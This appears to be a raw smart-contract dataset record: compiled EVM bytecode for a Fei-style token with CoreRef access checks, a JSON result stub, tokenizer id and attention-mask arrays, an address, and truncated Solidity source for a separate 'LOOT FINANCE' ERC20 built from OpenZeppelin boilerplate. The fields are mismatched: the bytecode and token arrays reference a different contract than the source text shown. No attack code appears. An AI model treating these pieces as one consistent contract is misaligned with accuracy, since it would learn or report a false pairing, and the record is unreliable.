0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806379cc679011610104578063a9059cbb116100a2578063bc701e7511610071578063bc701e751461036c578063d505accf1461037f578063dd62ed3e14610392578063f2f4eb26146103a5576101cf565b8063a9059cbb14610336578063b490589714610349578063b6232c9914610351578063b86677fe14610364576101cf565b80638456cb59116100de5780638456cb59146102fe57806395d89b41146103065780639a9ba4da1461030e578063a457c2d714610323576101cf565b806379cc6790146102c55780637ecebe00146102d857806380009630146102eb576101cf565b8063395093511161017157806342966c681161014b57806342966c681461028f5780635c975abb146102a25780636b6dff0a146102aa57806370a08231146102b2576101cf565b8063395093511461025f5780633f4ba83a1461027257806340c10f191461027c576101cf565b806323b872dd116101ad57806323b872dd1461022757806330adf81f1461023a578063313ce567146102425780633644e51514610257576101cf565b806306fdde03146101d4578063095ea7b3146101f257806318160ddd14610212575b600080fd5b6101dc6103ad565b6040516101e99190611a65565b60405180910390f35b61020561020036600461190f565b610443565b6040516101e991906119ff565b61021a610460565b6040516101e99190611a0a565b61020561023536600461185a565b610466565b61021a6104f3565b61024a610517565b6040516101e99190611e56565b61021a610520565b61020561026d36600461190f565b610526565b61027a61057a565b005b61027a61028a36600461190f565b6106b9565b61027a61029d366004611976565b6107d8565b610205610820565b61021a61082e565b61021a6102c0366004611806565b6108b8565b61027a6102d336600461190f565b6108d3565b61021a6102e6366004611806565b6109e6565b61027a6102f9366004611806565b6109f8565b61027a610aed565b6101dc610c21565b610316610c82565b6040516101e991906119c1565b61020561033136600461190f565b610d0a565b61020561034436600461190f565b610d78565b61021a610d8c565b61027a61035f366004611822565b610d96565b610316610e8e565b61031661037a366004611806565b610ede565b61027a61038d36600461189a565b610ef9565b61021a6103a0366004611822565b611068565b610316611093565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104395780601f1061040e57610100808354040283529160200191610439565b820191906000526020600020905b81548152906001019060200180831161041c57829003601f168201915b5050505050905090565b60006104576104506110a8565b84846110ac565b50600192915050565b60025490565b6000610473848484611160565b6104e98461047f6110a8565b6104e485604051806060016040528060288152602001611ec2602891396001600160a01b038a166000908152600160205260408120906104bd6110a8565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61117b16565b6110ac565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b60055460ff1690565b60075481565b60006104576105336110a8565b846104e485600160006105446110a8565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6111a716565b600554604051631c86b03760e31b8152620100009091046001600160a01b03169063e43581b8906105af9033906004016119c1565b60206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff919061193a565b8061068a5750600554604051630c68ba2160e01b8152620100009091046001600160a01b031690630c68ba219061063a9033906004016119c1565b60206040518083038186803b15801561065257600080fd5b505afa158015610666573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068a919061193a565b6106af5760405162461bcd60e51b81526004016106a690611ba2565b60405180910390fd5b6106b76111d3565b565b6005546040516355138f0d60e11b8152620100009091046001600160a01b03169063aa271e1a906106ee9033906004016119c1565b60206040518083038186803b15801561070657600080fd5b505afa15801561071a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073e919061193a565b61075a5760405162461bcd60e51b81526004016106a690611b29565b610762610820565b1561077f5760405162461bcd60e51b81526004016106a690611cba565b6107898282611242565b336001600160a01b0316826001600160a01b03167fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca836040516107cc9190611a0a565b60405180910390a35050565b6107e181611302565b604051339081907f227fb4b3aae8331f21af5167739c291fefe3afd3c2e08cea44f499e564f486ef90610815908590611a0a565b60405180910390a350565b600554610100900460ff1690565b6000610838610e8e565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161086391906119c1565b60206040518083038186803b15801561087b57600080fd5b505afa15801561088f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b3919061198e565b905090565b6001600160a01b031660009081526020819052604090205490565b60055460405163219a30a560e11b8152620100009091046001600160a01b031690634334614a906109089033906004016119c1565b60206040518083038186803b15801561092057600080fd5b505afa158015610934573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610958919061193a565b6109745760405162461bcd60e51b81526004016106a690611c26565b61097c610820565b156109995760405162461bcd60e51b81526004016106a690611cba565b6109a38282611316565b336001600160a01b0316826001600160a01b03167f227fb4b3aae8331f21af5167739c291fefe3afd3c2e08cea44f499e564f486ef836040516107cc9190611a0a565b60086020526000908152604090205481565b600554604051631c86b03760e31b8152620100009091046001600160a01b03169063e43581b890610a2d9033906004016119c1565b60206040518083038186803b158015610a4557600080fd5b505afa158015610a59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7d919061193a565b610a995760405162461bcd60e51b81526004016106a690611dde565b6005805462010000600160b01b031916620100006001600160a01b038416908102919091179091556040517fad9400e618eb1344fde53db22397a1b82c765527ecbba3a5c86bcac15090828b90600090a250565b600554604051631c86b03760e31b8152620100009091046001600160a01b03169063e43581b890610b229033906004016119c1565b60206040518083038186803b158015610b3a57600080fd5b505afa158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b72919061193a565b80610bfd5750600554604051630c68ba2160e01b8152620100009091046001600160a01b031690630c68ba2190610bad9033906004016119c1565b60206040518083038186803b158015610bc557600080fd5b505afa158015610bd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfd919061193a565b610c195760405162461bcd60e51b81526004016106a690611ba2565b6106b76113f8565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104395780601f1061040e57610100808354040283529160200191610439565b6000600560029054906101000a90046001600160a01b03166001600160a01b0316639a9ba4da6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd257600080fd5b505afa158015610ce6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b3919061195a565b6000610457610d176110a8565b846104e485604051806060016040528060258152602001611eea6025913960016000610d416110a8565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61117b16565b6000610457610d856110a8565b8484611160565b6000610838610c82565b600554604051631c86b03760e31b8152620100009091046001600160a01b03169063e43581b890610dcb9033906004016119c1565b60206040518083038186803b158015610de357600080fd5b505afa158015610df7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1b919061193a565b610e375760405162461bcd60e51b81526004016106a690611dde565b6001600160a01b0382811660008181526006602052604080822080546001600160a01b0319169486169485179055517f88bb9e877881758e827c849b8a0e38421bd5ff916f4ef79ed65aec74cc04a5da9190a35050565b6000600560029054906101000a90046001600160a01b03166001600160a01b031663b86677fe6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd257600080fd5b6006602052600090815260409020546001600160a01b031681565b42841015610f195760405162461bcd60e51b81526004016106a690611c5d565b6007546001600160a01b03881660009081526008602090815260408083208054600181019091559051929392610f7a927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d92918d9101611a13565b60405160208183030381529060405280519060200120604051602001610fa19291906119a6565b604051602081830303815290604052805190602001209050600060018286868660405160008152602001604052604051610fde9493929190611a47565b6020604051602081039080840390855afa158015611000573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906110365750886001600160a01b0316816001600160a01b0316145b6110525760405162461bcd60e51b81526004016106a690611ce4565b61105d8989896110ac565b505050505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546201000090046001600160a01b031690565b3390565b6001600160a01b0383166110d25760405162461bcd60e51b81526004016106a690611d9a565b6001600160a01b0382166110f85760405162461bcd60e51b81526004016106a690611b60565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611153908590611a0a565b60405180910390a3505050565b61116b838383611455565b611176838383611576565b505050565b6000818484111561119f5760405162461bcd60e51b81526004016106a69190611a65565b505050900390565b6000828201838110156111cc5760405162461bcd60e51b81526004016106a690611bef565b9392505050565b6111db610820565b6111f75760405162461bcd60e51b81526004016106a690611afb565b6005805461ff00191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61122b6110a8565b60405161123891906119c1565b60405180910390a1565b6001600160a01b0382166112685760405162461bcd60e51b81526004016106a690611e1f565b61127460008383611176565b600254611287908263ffffffff6111a716565b6002556001600160a01b0382166000908152602081905260409020546112b3908263ffffffff6111a716565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107cc908590611a0a565b61131361130d6110a8565b82611316565b50565b6001600160a01b03821661133c5760405162461bcd60e51b81526004016106a690611d14565b61134882600083611176565b61138b81604051806060016040528060228152602001611e7a602291396001600160a01b038516600090815260208190526040902054919063ffffffff61117b16565b6001600160a01b0383166000908152602081905260409020556002546113b7908263ffffffff6117de16565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107cc908590611a0a565b611400610820565b1561141d5760405162461bcd60e51b81526004016106a690611cba565b6005805461ff0019166101001790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861122b6110a8565b6001600160a01b03831661147b5760405162461bcd60e51b81526004016106a690611d55565b6001600160a01b0382166114a15760405162461bcd60e51b81526004016106a690611ab8565b6114ac838383611176565b6114ef81604051806060016040528060268152602001611e9c602691396001600160a01b038616600090815260208190526040902054919063ffffffff61117b16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611524908263ffffffff6111a716565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611153908590611a0a565b6001600160a01b038084166000908152600660205260409020541680156115fc57604051636e22230d60e01b81526001600160a01b03821690636e22230d906115c99087908790339088906004016119d5565b600060405180830381600087803b1580156115e357600080fd5b505af11580156115f7573d6000803e3d6000fd5b505050505b6001600160a01b0380841660009081526006602052604090205416801561168257604051636e22230d60e01b81526001600160a01b03821690636e22230d9061164f9088908890339089906004016119d5565b600060405180830381600087803b15801561166957600080fd5b505af115801561167d573d6000803e3d6000fd5b505050505b336000818152600660205260409020546001600160a01b0390811691908716148015906116b85750336001600160a01b03861614155b80156116cc57506001600160a01b03811615155b1561173657604051636e22230d60e01b81526001600160a01b03821690636e22230d90611703908990899033908a906004016119d5565b600060405180830381600087803b15801561171d57600080fd5b505af1158015611731573d6000803e3d6000fd5b505050505b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546001600160a01b031680156117d557604051636e22230d60e01b81526001600160a01b03821690636e22230d906117a2908a908a9033908b906004016119d5565b600060405180830381600087803b1580156117bc57600080fd5b505af11580156117d0573d6000803e3d6000fd5b505050505b50505050505050565b6000828211156118005760405162461bcd60e51b81526004016106a690611c83565b50900390565b600060208284031215611817578081fd5b81356111cc81611e64565b60008060408385031215611834578081fd5b823561183f81611e64565b9150602083013561184f81611e64565b809150509250929050565b60008060006060848603121561186e578081fd5b833561187981611e64565b9250602084013561188981611e64565b929592945050506040919091013590565b600080600080600080600060e0888a0312156118b4578283fd5b87356118bf81611e64565b965060208801356118cf81611e64565b95506040880135945060608801359350608088013560ff811681146118f2578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611921578182fd5b823561192c81611e64565b946020939093013593505050565b60006020828403121561194b578081fd5b815180151581146111cc578182fd5b60006020828403121561196b578081fd5b81516111cc81611e64565b600060208284031215611987578081fd5b5035919050565b60006020828403121561199f578081fd5b5051919050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611a9157858101830151858201604001528201611a75565b81811115611aa25783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b6020808252601f908201527f436f72655265663a2043616c6c6572206973206e6f742061206d696e74657200604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252602d908201527f436f72655265663a2043616c6c6572206973206e6f742061206775617264696160408201526c371037b91033b7bb32b93737b960991b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601f908201527f436f72655265663a2043616c6c6572206973206e6f742061206275726e657200604082015260600190565b6020808252600c908201526b11995a4e881156141254915160a21b604082015260600190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252601690820152754665693a20494e56414c49445f5349474e415455524560501b604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526021908201527f436f72655265663a2043616c6c6572206973206e6f74206120676f7665726e6f6040820152603960f91b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b60ff91909116815260200190565b6001600160a01b038116811461131357600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122050e890c3b2545b3935ee59eb10f843e1ae9421c4c123c2534bea07e27e8ff0f164736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26976, 2546, 22610, 2546, 12376, 2050, 2683, 10790, 16048, 29097, 2620, 29292, 2683, 28311, 2278, 2546, 27814, 21472, 2094, 28311, 2509, 2063, 2581, 2546, 2620, 2581, 3540, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 8022, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2462, 5897, 16778, 3726, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2065, 7416, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 25416, 2015, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,624
0x956fa248d8f3ae8582a60f38a2b8a0ac32adeb5a
// LOOT FINANCE ERC20 contract with treasury/burn funcionality // // https://lootx.finance // https://t.me/lootx_finance // .____ ________ ________ ___________ // | | \_____ \ \_____ \\__ ___/ // | | / | \ / | \ | | // | |___ / | \/ | \| | // |_______ \\_______ /\_______ /|____| // \/ \/ \/ // // https://github.com/lootdevvy/lootfinance pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See 